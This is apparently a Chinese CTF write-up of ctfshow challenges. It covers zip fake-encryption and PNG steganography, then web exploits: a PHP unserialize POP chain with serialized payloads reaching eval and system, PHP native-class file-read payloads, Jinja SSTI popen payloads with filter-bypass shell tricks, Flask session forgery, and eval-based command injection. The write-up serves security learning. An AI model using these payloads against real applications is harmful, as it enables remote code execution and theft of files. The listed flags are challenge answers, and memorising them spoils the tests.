# 其他
# 签到
hint 如下:
没想到他 flag 直接就是中文 "一个不能说的秘密",涨见识了
ctfshow {一个不能说的秘密} |
# MISC
# 奇怪的压缩包
下载下来是一个加密的压缩包,按照惯例先试试是不是伪加密
这两个位置都换成 00 00,保存打开得到 black.png
显示了半截,先猜测高度隐写
把第二段的 96 改成等高度 384 试试
得到全文,但是还是得 binwalk 看一下有没有藏比
有藏比,用 foremost 分离一下得到一个 png 和 zip 文件
其实在 black.png 最后边有提示 key,base64 之后就是 “yurenjie”,这是压缩密码
得到 flag.png,还是高度隐写,修改之后就能得到 flag
ctfshow{Th1s_i5_f1ag} |
# WEB
# easy_signin
是个 base64 编码之后传值到 img 显示图片
把 index.php base64 后传进去得到 flag
解码得到内容
ctfshow{eff420e3-947e-4c4b-816a-ed8810990daf} |
# 被遗忘的反序列化
这题解法太多了,能用 php 原生类做,学长两步就直接做出来了,根本没用到加密函数
# 法一
我的步骤还是有点繁琐
<?php | |
# 当前目录中有一个 txt 文件哦 | |
error_reporting(0); | |
show_source(__FILE__); | |
include("check.php"); | |
class EeE{ | |
public $text; | |
public $eeee; | |
public function __wakeup(){ | |
if ($this->text == "aaaa"){ | |
echo lcfirst($this->text); | |
} | |
} | |
public function __get($kk){ | |
echo "$kk,eeeeeeeeeeeee"; | |
} | |
public function __clone(){ | |
$a = new cycycycy; | |
$a -> aaa(); | |
} | |
} | |
class cycycycy{ | |
public $a; | |
private $b; | |
public function aaa(){ | |
$get = $_GET['get']; | |
$get = cipher($get); | |
if($get === "p8vfuv8g8v8py"){ | |
eval($_POST["eval"]); | |
} | |
} | |
public function __invoke(){ | |
$a_a = $this -> a; | |
echo "\$a_a\$"; | |
} | |
} | |
class gBoBg{ | |
public $name; | |
public $file; | |
public $coos; | |
private $eeee="-_-"; | |
public function __toString(){ | |
if(isset($this->name)){ | |
$a = new $this->coos($this->file); | |
echo $a; | |
}else if(!isset($this -> file)){ | |
return $this->coos->name; | |
}else{ | |
$aa = $this->coos; | |
$bb = $this->file; | |
return $aa(); | |
} | |
} | |
} | |
class w_wuw_w{ | |
public $aaa; | |
public $key; | |
public $file; | |
public function __wakeup(){ | |
if(!preg_match("/php|63|\*|\?/i",$this -> key)){ | |
$this->key = file_get_contents($this -> file); | |
}else{ | |
echo "不行哦"; | |
} | |
} | |
public function __destruct(){ | |
echo $this->aaa; | |
} | |
public function __invoke(){ | |
$this -> aaa = clone new EeE; | |
} | |
} | |
$_ip = $_SERVER["HTTP_AAAAAA"]; | |
unserialize($_ip); |
就四个类,还是很好做的
由于不知道其中 cipher () 函数的加密方式,所以得先看看包含的 check.php 内容是什么(byd 他说的那个 txt 根本扫不出来,还是我最后做完才翻的目录是 h1nt.txt💧)
在 w_wuw_w 类中有 file_get_contents () 函数可以方便的把 $file 外带出来,但是他只在 destruct 的时候 echo 出 $aaa,所以就要用到之前狗学长说过的引用 & 赋值
让 $aaa = &$file,使得这两个变量指向相同地址,这样两个变量的内容就会同时改变
构造出 payload:
$w_wuw_w = new w_wuw_w(); | |
$w_wuw_w -> key = 'test'; | |
$w_wuw_w -> file = 'check.php'; | |
$w_wuw_w -> aaa = &$w_wuw_w -> key; | |
O:7:"w_wuw_w":4:{s:3:"aaa";N;s:3:"key";s:4:"test";s:4:"file";s:9:"check.php";s:0:"";R:3;} |
外带出 check.php 的内容
略加修改一下就得到了具体的内容,分析一下能写出解密脚本
def decrypt_string(input_string): | |
charset = "qwertyuiopasdfghjklzxcvbnm123456789" | |
shift = 4 | |
shifted = "" | |
for char in input_string: | |
pos = charset.find(char) | |
if pos != -1: | |
new_pos = (pos + shift + len(charset)) % len(charset) | |
shifted += charset[new_pos] | |
else: | |
shifted += char | |
return shifted | |
print(decrypt_string('p8vfuv8g8v8py')) |
得到原本 get 该传入的值:fe1ka1ele1efp
由 w_wuw_w 的 echo 函数又可以调用__toString,总结一下得到 pop 链
w_wuw_w::__destruct() -> gBoBg::__toString() -> w_wuw_w::__invoke() -> EeE::__clone() -> cycycycy::aaa() | |
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:4:"test";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";s:2:"63";s:4:"file";N;}}s:3:"key";s:2:"63";s:4:"file";s:9:"check.php";} |
同时传入?get=fe1ka1ele1efp;eval=system ('ls /');
就可得到 flag
cat 一下就行
ctfshow{be571200-b78b-4bfe-ba08-71787e58acb6} |
# 法二
$a=new w_wuw_w(); | |
$b=new gBoBg(); | |
$a->aaa=$b; | |
$b->name=123; | |
$b->coos="SplFileObject"; | |
$b->file="php://filter/convert.base64-encode/resource=/flag"; | |
echo serialize($a); |
加请求头
AAAAAA:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:123;s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";} s:3:"key";N;s:4:"file";N;} | |
# 得到文件名:f1agaaa |
AAAAAA:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:123;s:4:"file";s:52:"php://filter/convert.base64-encode/resource=/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;} |
用的是 php 原生类,glob 直接查 flag,SplFileObject 查 flag,太快了
# easy_ssti
# 法一
提示
打开看到是常见的 ssti
用 hackbar 的 ssti 换几个试试,找到 app.py 的源码
很明显,要求过滤了 f 和 /,但是如果里边有 ge 就可以正常解析
由于要先出现 ge,那就构造 shell
ge="test";cd ..;cat flag |
得到 flag
ctfshow{1fe332f3-a27d-44f2-b864-2416b80c021e} |
其实扫网的时候有 console 目录,也可以通过 ssti 得到机器信息算出 pin 码直接执行 python 命令,不过更复杂了
# 法二
相似,只不过狗学长用的 cat 命令更巧妙,没有构造 ge
cat ${PATH:0:1}[9-q][9-q][9-q][9-q] |
用 ${PATH:0:1} 代替 /,正则 [9-q] 匹配 flag 四个字母
# 法三
官方给的题解
/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=cat /flag |
# easy_flask
打开是个登陆页面,用 sqlmap 也爆不出来,就尝试直接注册登陆看看内容
登陆进去提示我的角色是 user,当角色是 admin 的时候会给出东西
再看看 learn 的内容
给出了 app.secret_key = 'S3cr3tK3y',在 burp 里又能看到 cookie 内容
base64 解码出来就能看到信息
所以就用工具伪造一下 session
加密后用 burp 传进去就有任意文件下载的功能
看一下 app.py 是怎么写的
分别给出了 admin 的密码和一个 hello 路径,有 eval 利用
?eval=__import__('os').system('ls / > test') |
然后任意文件读取 test
?eval=__import__('os').system('cat /flag_is_h3re > test') |
或者更直接一点
?eval=__import__('os').popen('cat /*f*').read() |
得到 flag
ctfshow{d7cbfb77-b2fb-47ee-ade9-e78bd40c9871} |
# easy_base
一把梭脚本
ctfshow{yu_ren_j1e_haPpy!!!} |